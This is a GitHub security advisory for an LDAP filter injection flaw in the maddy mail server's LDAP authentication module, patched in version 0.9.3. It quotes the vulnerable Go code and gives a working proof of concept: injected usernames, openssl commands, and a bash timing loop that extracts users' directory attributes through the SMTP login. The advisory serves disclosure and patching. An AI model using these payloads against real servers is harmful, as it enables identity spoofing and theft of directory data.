LDAP Filter Injection via Unsanitized Username

High **foxcpp** published **GHSA-5835-4gvc-32pc** 3 days ago

Package

github.com/foxcpp/maddy (Go)

Affected versions	Patched versions
<0.9.3	0.9.3

Description

Summary

The `auth.ldap` module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via `strings.ReplaceAll()` without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The `go-ldap/ldap/v3` library—already imported in the same file—provides `ldap.EscapeFilter()` specifically for this purpose, but it is never called.

Patched version

Upgrade to maddy 0.9.3.

Details

Affected file: `internal/auth/ldap/ldap.go`

Three locations substitute the raw, attacker-controlled `username` into LDAP filter or DN strings with no escaping:

1. `Lookup()` — line 228 (filter injection)

```
func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
    // ...
```

```
    req := ldap.NewSearchRequest(
        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
        2, 0, false,
        strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPIN
        []string{"dn"}, nil)
```

2. `AuthPlain()` — line 255 (DN template injection)

```
func (a *Auth) AuthPlain(username, password string) error {
    // ...
    if a.dnTemplate != "" {
        userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username)  // <-- NO ESC
```

3. `AuthPlain()` — line 260 (filter injection)

```
    } else {
        req := ldap.NewSearchRequest(
            a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
            2, 0, false,
            strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESC
            []string{"dn"}, nil)
```

The `go-ldap/ldap/v3` library (v3.4.10, imported at line 17) provides `ldap.EscapeFilter()` which escapes `(`, `)`, `*`, `\`, and NUL per RFC 4515. It is never called on user input.

No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.

PoC

Prerequisites:

- A maddy instance configured with `auth.ldap` using a `filter` directive
- An LDAP directory (e.g., OpenLDAP) with at least one user
- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)

Step 1: Vulnerable maddy configuration

```
auth.ldap ldap_auth {
    urls ldap://ldapserver:389
    bind plain "cn=admin,dc=example,dc=org" "adminpassword"
    base_dn "ou=people,dc=example,dc=org"
    filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}

submission tcp://0.0.0.0:587 {
    auth &ldap_auth
```

```
    # ...
}
```

Assume the LDAP directory contains users `alice` (password: `alice_pass`) and `bob` (password: `bob_pass`).

Step 2: Verify normal authentication works

```
# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)

# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded
```

Step 3: Boolean-based blind LDAP injection (attribute extraction)

An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.

```
# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
#   → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.

# Test: does bob's description start with "S"?
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"

# Narrow: does it start with "Se"?
INJECTED='bob)(description=Se*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
# ... repeat until full value is extracted
```

```
# This works for ANY LDAP attribute: userPassword hashes, mail,
# telephoneNumber, memberOf, etc.
```

For extracting attributes of **other users** (whose password the attacker does not know), a timing side-channel is used instead. The `AuthPlain()` function has two distinct failure paths:

- **0 entries matched** (line 270): returns `ErrUnknownCredentials` immediately — **fast**
- **1 entry matched, bind fails** (line 275): performs `conn.Bind()` over the network, then returns — **slow** (adds LDAP bind round-trip latency)

Both return SMTP `535`, but the timing difference is measurable:

```
# Target: extract alice's "description" attribute.
# Attacker does NOT know alice's password.
#
# Injected username: alice)(description=S*
# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))
#
# If alice's description starts with "S":
#   → 1 match → conn.Bind(alice_DN, "wrong") → bind fails → 535 (SLOW)
# If not:
#   → 0 matches → immediate 535 (FAST)
#
# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)

for c in {a..z} {A..Z} {0..9}; do
    INJECTED="alice)(description=${c}*"
    AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
    START=$(date +%s%N)
    echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
        openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
    END=$(date +%s%N)
    ELAPSED=$(( (END - START) / 1000000 ))
    echo "char='$c' time=${ELAPSED}ms"
done
# Characters with significantly longer response times indicate a filter match.
```

Impact

Vulnerability type: CWE-90 — LDAP Injection

Who is affected: Any maddy deployment that uses the `auth.ldap` module with either the `filter` or `dn_template` directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.

What an attacker can do:

1. **Identity spoofing:** An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (`connState.AuthUser` in SMTP, `username` passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream.

2. **LDAP directory enumeration:** By injecting wildcard filters (`*`) and observing error responses (e.g., "too many entries" vs. "unknown credentials"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure.

3. **Attribute value extraction via boolean-based blind injection:** An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., `bob)(description=X*`) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel.

4. **DN template path traversal:** When `dn_template` is used instead of `filter` (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.

Severity

High 8.2 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

CVE ID

CVE-2026-40193

Weaknesses

▶ CWE-90

Credits


RealHurrison Reporter


Ghost1032 Reporter